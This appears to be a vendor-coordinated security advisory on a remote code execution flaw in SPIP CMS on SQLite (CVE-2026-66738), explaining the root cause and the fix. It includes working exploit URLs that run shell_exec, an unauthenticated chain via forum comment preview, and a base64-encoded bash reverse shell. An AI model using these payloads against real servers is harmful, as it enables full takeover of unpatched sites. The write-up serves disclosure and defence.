Remote code execution in SPIP (SQLite) - CVE-2026-66738
An authenticated editor, and in some configurations an anonymous visitor, can run arbitrary OS commands on SPIP installations backed by SQLite.
Context
SPIP (“Système de Publication pour l’Internet”) is a free and open-source CMS, created in 2001 by French developers and used around the world to build and maintain websites. It powers more than 10,000 French-speaking sites, including French government services, academic sites, associations, and news outlets.
SPIP is written in PHP and runs on MySQL, PostgreSQL, or SQLite. Pages are generated from a templating language of its own, based on squelettes (“skeletons”).
Shodan returns around 711,400 internet-facing services whose banner contains Composed-By: SPIP X.X.XX @ www.spip.net. The share running on SQLite is unknown.

Our findings
We found a code injection (CWE-94) in SPIP < 4.4.18 on SQLite-backed installations. The navigation-menu endpoint mishandles array-typed input, which slips past input sanitization and lets a value break out of a quoted string that is later evaluated as PHP.
- An authenticated user with at least editor (rédacteur) privileges can trigger RCE with a single GET request to
/ecrire/?exec=navigation. - On a default install, the same sink is reachable unauthenticated by abusing the forum comment preview to render a SPIP model, so the private
/ecrire/area is never touched.
The findings were tested on 4.4.16 and 5.0.0-beta GIT [master: 2536d940] with a SQLite backend. MySQL-backed installations are not affected.
Root cause
The back-office menu is drawn by a single template:
<BOUCLE_menu(DATA){source table, #GET{boutons}}{cle=#ENV{menu}}>This is a (DATA) loop over an in-memory array of menu buttons. The {cle=#ENV{menu}} criterion keeps only the row whose key equals the menu URL parameter, so /ecrire/?exec=navigation&menu=menu_edition shows the “Édition” menu.
SPIP compiles each .html template into a cached PHP function (tmp/cache/skel/html_<hash>.php). Because a (DATA) source is not a real database, the {cle=...} comparison cannot be pushed into SQL and is instead compiled into a PHP filter run against each row. During compilation the operand #ENV{menu} is wrapped by kwote(), which emits a sql_quote(<operand>, '', 'STRING') call into the generated function:
$command['where'] =
array(array('=', 'cle',
sql_quote(retablir_echappements_modeles(interdire_scripts(entites_html(
table_valeur($Pile[0]??[], (string)'menu', null), true))), '', 'STRING')));So the menu value flows through, in order:
entites_html(): escapes&,",',<,>and out-of-charset characters;interdire_scripts(): neutralizes PHP/JS;sql_quote(): quotes the value for the active backend (spip_sqlite_quote()on SQLite).
For normal input the where-clause ends up as a harmless string:
$command['where'] = array(array('=', 'cle', "'menu_edition'"));Two flaws turn this quoted string into executable PHP :
First weakness: array input bypasses sanitization
Both entites_html() and interdire_scripts() return their argument untouched when it is not a string:
function entites_html($texte, $tout = false, $quote = true) {
if (!is_string($texte) or !$texte or strpbrk($texte, "&\"'<>") == false) {
return $texte;
}
// ... escaping ...
}function interdire_scripts($arg, ?int $mode_filtre = null) {
// "Warning, if it's not a string, it must stay intact"
if (!$arg || !is_string($arg) || !strstr($arg, '<')) {
return $arg;
}
// ... neutralizing ...
}Submitting menu[]=... instead of menu=... makes the value an array element whose entries never get re-checked for type here, so quotes and backslashes pass through verbatim into sql_quote().
Second weakness: SQLite quoting leaves backslashes intact
On SQLite, sql_quote() reaches _sqlite_calculer_cite(), which doubles single quotes but does not escape backslashes:
return "'" . str_replace("'", "''", $v) . "'"; // only ' -> ''
That is correct for SQL, but here the output is later fed to PHP’s eval(). An input of \' becomes \'': the backslash survives, and in a PHP double-quoted-into-single context \' reads as an escape that closes the string literal, spilling the rest of the payload into code.
The eval() sink
When the compiled loop builds its iterator, the (DATA) decorator turns each where entry back into a PHP comparison, wraps the result in return ( ... ); and evaluates it once per row:
private function calculer_filtres() {
// ...
$filtres = 'return ' . $filtres . ';';
$this->func_filtre = fn () => eval($filtres);
// ...
}With the array trick on SQLite, the raw payload \'.print(shell_exec("id")));// reaches eval() as:
return ($this->get_select('cle')=='\''.print(shell_exec("id")));//');
'\'' closes the comparison string, .print(shell_exec("id")) runs the command and prints its output into the page, and );// closes the return and comments out the trailing quote. The filter runs once per button (~9 on a stock menu), so the output repeats.
From editor to RCE
Install SPIP 4.4.16 with the bundled Dockerfile, complete setup at http://localhost:8000/ecrire/ (SQLite is the only option), and create an admin plus a redacteur.
A single backslash is enough to confirm the sink from the admin debug console : the error names eval()’d code directly:
http://localhost:8000/ecrire/?exec=navigation&menu=\Erreur d'exécution ../prive/squelettes/inclure/menu-navigation.html
| File [...]/Compilateur/Iterateur/Decorator.php(577) : eval()'d code
Line 1 : syntax error, unexpected string content "\');"
As the redacteur, shell_exec("id"):
http://localhost:8000/ecrire/?exec=navigation&menu[]=%5C%27.print%28shell_exec%28%22id%22%29%29%29%3B%2F%2F
Because quotes and slashes are awkward to pass, a reverse shell is easiest base64-encoded:
echo 'bash -c "bash -i >& /dev/tcp/172.18.0.1/4444 0>&1" &' | base64 -w0
# YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzQ0NDQgMD4mMSIgJgo=http://127.0.0.1:8000/ecrire/?exec=navigation&menu[]=\%27.print(shell_exec(%22echo%20YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTguMC4xLzQ0NDQgMD4mMSIgJgo=|base64%20-d|bash%22)))%3B%2F%2FURL-encode + as %2B so it is not read as a space.

Reaching the sink without the private area
The same bug is reachable by a low-privileged or anonymous user when two conditions hold:
- a SQLite backend;
- a public surface that runs attacker text through
propre()/typo(), so SPIP model shortcuts such as<foreach...>are interpreted.
On a stock install, the public forum comment preview is such a surface: squelettes-dist/article.html renders #FORMULAIRE_FORUM on every article, and the default moderation setting (forums_publics = posteriori) lets anonymous visitors post. A model can be told to render any template, including the vulnerable one.
Publish an article with comments enabled, open it anonymously (.../spip.php?article3), and submit this as the comment body, then click preview:
<foreach|fond=prive/squelettes/inclure/menu-navigation|ajax>The preview returns an ajaxbloc carrying a data-ajax-env token:
<div class="ajaxbloc" data-ajax-env="aT2VrBE/aMh6FPg...tt8J6L" data-origin="spip.php?article3&id_article=3&id_objet=3&id_forum=0">
Replaying that token with the menu[] payload renders the private template — and its eval() sink — from an unauthenticated request (URL-encode + as %2B):
http://localhost:8000/spip.php?var_ajax=1&var_ajax_env=<AJAX-ENV>&menu[]=\'.print(shell_exec("id")));//HTTP/1.1 200 OK
Composed-By: SPIP 4.4.16 @ www.spip.net
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
...
Each var_ajax_env token is single-use, but a fresh one is trivially generated by previewing again.
Disclosure
- 2026-07-24: Vulnerability reported to the maintainer through VulnCheck.
- 2026-07-27: Acknowledged; CVE-2026-66738 assigned to track it. SPIP contacted.
- 2026-07-27: Forum-comment primitive found and shared with the maintainer.
- 2026-08-10: SPIP 4.4.18 released, fixing the issue.
Per the 4.4.18 changelog, SPIP addressed both halves of the chain: a menu key “can only be a scalar” (killing the menu[] bypass), models are disabled in forum comment text, and the ajax filter in models was fixed. Backslash handling in _sqlite_calculer_cite() remains the deeper issue worth watching on SQLite installs.
References
- SPIP 4.4.18 release and changelog: https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-4-18.html
- SPIP source code: https://git.spip.net/spip/spip
- SPIP loops: https://www.spip.net/en_article2042.html
- SPIP
(DATA)loop: https://www.spip.net/en_article6488.html#Filtering-data-with - SPIP models: https://www.spip.net/en_article3512.html
- CVE record: https://www.cve.org/CVERecord?id=CVE-2026-66738
- Advisory: https://www.vulncheck.com/advisories/spip-code-injection-via-navigation-endpoint-on-sqlite
Keep reading
Remote code execution in CentOS Web Panel - CVE-2025-70951
As part of our ongoing research into web hosting control panels, we recently published an analysis of Control Web Panel (CWP), a widely used open-source administration panel designed to manage web servers running…
Remote code execution in aaPanel - CVE-2025-48702
aaPanel is a free and open-source web hosting control panel designed to simplify server management for Linux-based systems. It provides a graphical interface to manage web servers, websites,…
Remote code execution in CentOS Web Panel - CVE-2025-48703
CentOS Web Panel (CWP) is a free web hosting control panel used to manage servers based on CentOS and other RPM-based distributions. CWP was first introduced in 2013 as a free, open-source web hosting control panel…
